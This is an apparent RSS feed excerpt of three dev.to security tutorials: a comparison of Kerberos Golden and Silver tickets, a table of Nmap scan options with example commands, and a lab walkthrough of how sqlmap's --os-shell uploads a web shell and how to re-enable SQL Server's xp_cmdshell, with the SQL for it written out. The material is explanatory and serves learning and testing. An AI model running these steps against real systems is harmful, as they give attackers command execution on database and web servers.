&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9hdr2mye089z7fulr0ax.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9hdr2mye089z7fulr0ax.png" alt=" " width="641" height="343"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Differences between Golden and Silver Tickets
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Scope of Access
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Golden Ticket&lt;/strong&gt;: Forges a TGT, thereby granting access to any Kerberos‑protected service.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Silver Ticket&lt;/strong&gt;: Forges an ST, granting access only to the specific service for which it was crafted (e.g., CIFS).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Authentication Flow
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Golden Ticket&lt;/strong&gt;: Interacts with the KDC but does not interact with the AS.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Silver Ticket&lt;/strong&gt;: Does not interact with the KDC at all; it communicates directly with the target server.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Encryption Mechanism
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Golden Ticket&lt;/strong&gt;: Encrypted with the NTLM hash of &lt;code&gt;krbtgt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Silver Ticket&lt;/strong&gt;: Encrypted with the NTLM hash of the service account associated with the target server.&lt;/li&gt;
&lt;/ul&gt;




</description>
      <category>ticket</category>
      <category>passing</category>
      <category>attacks</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Common Nmap Parameters</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Tue, 09 Jun 2026 23:21:22 +0000</pubDate>
      <link>https://dev.to/excalibra/common-nmap-parameters-1815</link>
      <guid>https://dev.to/excalibra/common-nmap-parameters-1815</guid>
      <description>&lt;p&gt;The following table lists frequently used Nmap parameters along with their descriptions in an academic context.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Parameter&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;TCP connect() scan. This method records a large number of connection requests and error messages in the target host’s logs.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Half-open scan. Few systems log this activity; however, root privileges are required.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;-sF&lt;/code&gt;, &lt;code&gt;-sN&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Stealth FIN packet scan, Xmas Tree scan, and Null scan modes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sP&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ping scan. Nmap employs a ping scan by default when scanning ports; only if the host is alive will Nmap continue scanning.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sU&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;UDP scan. UDP scans are inherently unreliable.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;This advanced scanning method is typically used to traverse firewall rule sets.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-sV&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Probe port service versions.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-Pn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Ping is not required prior to scanning. Some firewalls block ping commands; this option can be used to bypass that restriction.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-v&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Display the scanning process. Recommended for verbose output.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-h&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Help option. Provides the clearest and most comprehensive help documentation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-p&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Specify ports, for example: &lt;code&gt;1-65535&lt;/code&gt;, &lt;code&gt;1433&lt;/code&gt;, &lt;code&gt;135&lt;/code&gt;, &lt;code&gt;22&lt;/code&gt;, &lt;code&gt;80&lt;/code&gt;, etc.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-O&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enable remote operating system detection. False positives may occur.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Comprehensive system detection, enabling script detection and advanced scanning.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;-oN&lt;/code&gt; / &lt;code&gt;-oX&lt;/code&gt; / &lt;code&gt;-oG&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Write the report to a file in three respective formats: normal, XML, and grepable.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-T4&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;For TCP ports, disable dynamic scan delays exceeding 10 ms.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-iL&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Read a list of hosts from a file, for example: &lt;code&gt;-iL C:\ip.txt&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Practical Examples
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scan open ports on a specified IP address:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;nmap -sS -p 1-65535 -v XXX.XXX.XXX.XXX&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scan live hosts in a /24 subnet:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;nmap -sP XXX.XXX.XXX.XXX/24&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scan specific ports:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;nmap -p 80,1433,22,1521 XXX.XXX.XXX.XXX&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Detect the host operating system:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;nmap -O XXX.XXX.XXX.XXX&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Comprehensive system detection:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;nmap -v -A XXX.XXX.XXX.XXX&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;em&gt;Note: By default, Nmap scans 1,000 high-risk ports.&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Scan a specified IP range:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;nmap XXX.XXX.XXX.XXX-XXX&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Penetrate a firewall for scanning (when ping is blocked):&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;nmap -Pn -A XXX.XXX.XXX.XXX&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Use a script to scan web‑sensitive directories:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;nmap -p 80 --script=http-enum.nse XXX.XXX.XXX.XXX&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>nmap</category>
      <category>cybersecurity</category>
      <category>parameters</category>
      <category>common</category>
    </item>
    <item>
      <title>The Principle of sqlmap’s `--os-shell</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Tue, 09 Jun 2026 22:22:33 +0000</pubDate>
      <link>https://dev.to/excalibra/the-principle-of-sqlmaps-os-shell-3mb4</link>
      <guid>https://dev.to/excalibra/the-principle-of-sqlmaps-os-shell-3mb4</guid>
      <description>&lt;h2&gt;
  
  
  Preface
&lt;/h2&gt;

&lt;p&gt;When the database is MySQL, PostgreSQL, or Microsoft SQL Server, and the current user possesses the privileges required to invoke specific functions, sqlmap can be used to obtain an operating system shell.&lt;/p&gt;

&lt;p&gt;In the case of MySQL and PostgreSQL, sqlmap uploads a binary library containing user-defined functions, &lt;code&gt;sys_exec()&lt;/code&gt; and &lt;code&gt;sys_eval()&lt;/code&gt;. These two functions, once created, are capable of executing system commands.&lt;/p&gt;

&lt;p&gt;For Microsoft SQL Server, sqlmap employs the &lt;code&gt;xp_cmdshell&lt;/code&gt; stored procedure. If this procedure is disabled (it is disabled by default in Microsoft SQL Server 2005 and later), sqlmap will attempt to re‑enable it; if it does not exist, sqlmap will create it automatically.&lt;/p&gt;

&lt;p&gt;The following sections illustrate the principles behind the &lt;code&gt;--os-shell&lt;/code&gt; feature by examining injection scenarios and direct database connections for SQL Server and MySQL.&lt;/p&gt;




&lt;h2&gt;
  
  
  Injection-Based &lt;code&gt;--os-shell&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Write access to the web server’s document root.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;secure_file_priv&lt;/code&gt; variable is either empty or set to a writable path.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;During a standard SQL injection, &lt;code&gt;--os-shell&lt;/code&gt; operates primarily by uploading a sqlmap trojan, which is subsequently used to execute commands.&lt;/p&gt;




&lt;h3&gt;
  
  
  Test Environment
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Operating system: Microsoft Windows Server 2012 Standard
&lt;/li&gt;
&lt;li&gt;Database: MySQL 5.1.60
&lt;/li&gt;
&lt;li&gt;Scripting language: PHP 5.4.45
&lt;/li&gt;
&lt;li&gt;Web server: Apache 2.4.39
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Initially, sqlmap is employed to detect the injection point.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhiz1r6uvb419gmx4ren8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhiz1r6uvb419gmx4ren8.png" alt=" " width="799" height="273"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;--os-shell&lt;/code&gt; flag is then invoked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj5ohdhk9puufxjb1sc0q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj5ohdhk9puufxjb1sc0q.png" alt=" " width="799" height="250"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;At this stage, sqlmap performs three key actions:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Probes the target to gather basic information.
&lt;/li&gt;
&lt;li&gt;Uploads a shell to the target web server.
&lt;/li&gt;
&lt;li&gt;Removes the shell upon exiting.&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;A packet capture with Wireshark, filtered to display only HTTP traffic, reveals the sequence.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxd76v3exle17w29rpsz3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxd76v3exle17w29rpsz3.png" alt=" " width="799" height="179"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 – sqlmap uploads a trojan that provides file‑upload functionality.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsn19cn6pkasjuw2c3fgx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsn19cn6pkasjuw2c3fgx.png" alt=" " width="800" height="92"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhtrp73yb3szu32v6myjd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhtrp73yb3szu32v6myjd.png" alt=" " width="800" height="69"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Following the HTTP stream reveals URL‑encoded content. Once decoded, it is apparent that the file is written to disk using &lt;code&gt;INTO OUTFILE&lt;/code&gt;. The trojan’s code is hex‑encoded; decoding it exposes an upload‑capable script.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2 – The uploaded trojan is used to transfer the actual shell.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmp9f1c1icusj4ds1wu0o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmp9f1c1icusj4ds1wu0o.png" alt=" " width="800" height="222"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tracking the HTTP stream shows the shell’s source code in the request body.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3 – Commands are passed to the shell for execution.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4i9eghnjgsdtbc6h2js6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4i9eghnjgsdtbc6h2js6.png" alt=" " width="625" height="273"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4 – The shell is deleted.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4anb8jzgd266dxkkaamu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4anb8jzgd266dxkkaamu.png" alt=" " width="668" height="243"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A command is issued to remove the shell file.&lt;/p&gt;




&lt;h2&gt;
  
  
  Database‑Based &lt;code&gt;--os-shell&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;When the database permits external connections, sqlmap can obtain a shell directly via the &lt;code&gt;--os-shell&lt;/code&gt; flag.&lt;/p&gt;

&lt;h3&gt;
  
  
  Microsoft SQL Server
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The database server accepts external connections.
&lt;/li&gt;
&lt;li&gt;The current database user holds &lt;code&gt;sa&lt;/code&gt; (system administrator) privileges.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With SQL Server, &lt;code&gt;--os-shell&lt;/code&gt; relies on the &lt;code&gt;xp_cmdshell&lt;/code&gt; extended stored procedure to execute operating system commands.&lt;/p&gt;




&lt;h4&gt;
  
  
  Test Environment
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Operating system: Microsoft Windows Server 2016 Datacenter
&lt;/li&gt;
&lt;li&gt;Database: Microsoft SQL Server 2008
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sqlmap is used to connect to the database.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"mssql://user:password@ip:port/dbname"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm9nw0cqhvujvniko4ubi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm9nw0cqhvujvniko4ubi.png" alt=" " width="798" height="122"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Sqlmap does not ship with the &lt;code&gt;pymssql&lt;/code&gt; module; it must be installed manually.&lt;/p&gt;

&lt;p&gt;After executing &lt;code&gt;python -m pip install pymssql&lt;/code&gt;, the connection is established successfully.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsdblmrzpuxqswh3ewv2y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsdblmrzpuxqswh3ewv2y.png" alt=" " width="800" height="180"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;--os-shell&lt;/code&gt; command is then issued.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgf1zp2ydxedscyw1c235.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgf1zp2ydxedscyw1c235.png" alt=" " width="799" height="310"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;At this point, sqlmap performs three key actions:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Identifies the database type and displays it.
&lt;/li&gt;
&lt;li&gt;Checks whether the current user is a database administrator (i.e., verifies &lt;code&gt;sa&lt;/code&gt; privileges).
&lt;/li&gt;
&lt;li&gt;Determines whether &lt;code&gt;xp_cmdshell&lt;/code&gt; is enabled; if it is not, sqlmap attempts to enable it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In this instance, sqlmap was unable to activate &lt;code&gt;xp_cmdshell&lt;/code&gt; automatically.&lt;/p&gt;

&lt;p&gt;Consequently, &lt;code&gt;--sql-shell&lt;/code&gt; was used to enable it manually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;EXEC&lt;/span&gt; &lt;span class="n"&gt;sp_configure&lt;/span&gt; &lt;span class="s1"&gt;'show advanced options'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;RECONFIGURE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;EXEC&lt;/span&gt; &lt;span class="n"&gt;sp_configure&lt;/span&gt; &lt;span class="s1"&gt;'xp_cmdshell'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;RECONFIGURE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fae5kodqb9t3iw2k79knr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fae5kodqb9t3iw2k79knr.png" alt=" " width="800" height="223"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When &lt;code&gt;RECONFIGURE;&lt;/code&gt; was executed, sqlmap reported a syntax error.&lt;/p&gt;

&lt;p&gt;A Python script calling the &lt;code&gt;pymssql&lt;/code&gt; module was written to isolate the issue.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;SELECT @@version;&lt;/code&gt; command could be executed successfully.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fckj92g87aptgtggmlwwf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fckj92g87aptgtggmlwwf.png" alt=" " width="800" height="234"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The error produced when executing &lt;code&gt;RECONFIGURE;&lt;/code&gt; matched the error observed in &lt;code&gt;--sql-shell&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fscsuwl8z0s9eetfp0gao.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fscsuwl8z0s9eetfp0gao.png" alt=" " width="799" height="269"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Because sqlmap uses the &lt;code&gt;pymssql&lt;/code&gt; module for database connections, it was necessary to enable &lt;code&gt;xp_cmdshell&lt;/code&gt; using an alternative tool. Navicat was employed for this purpose.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhgu8bt7j6rwlfv3c2suu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhgu8bt7j6rwlfv3c2suu.png" alt=" " width="566" height="608"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The commands to enable &lt;code&gt;xp_cmdshell&lt;/code&gt; were then executed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6mqcg3ayu85z2c6djqqz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6mqcg3ayu85z2c6djqqz.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Once enabled, commands could be issued either through Navicat or by using sqlmap’s &lt;code&gt;--os-shell&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpwvkyffcxptkq0a3zet6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpwvkyffcxptkq0a3zet6.png" alt=" " width="717" height="306"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw5zf2xpty9rz3kvn4s43.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fw5zf2xpty9rz3kvn4s43.png" alt=" " width="800" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If a tool such as Navicat is used for the initial connection, one must manually verify whether the user is a database administrator and whether &lt;code&gt;xp_cmdshell&lt;/code&gt; is present.&lt;br&gt;
&lt;/p&gt;

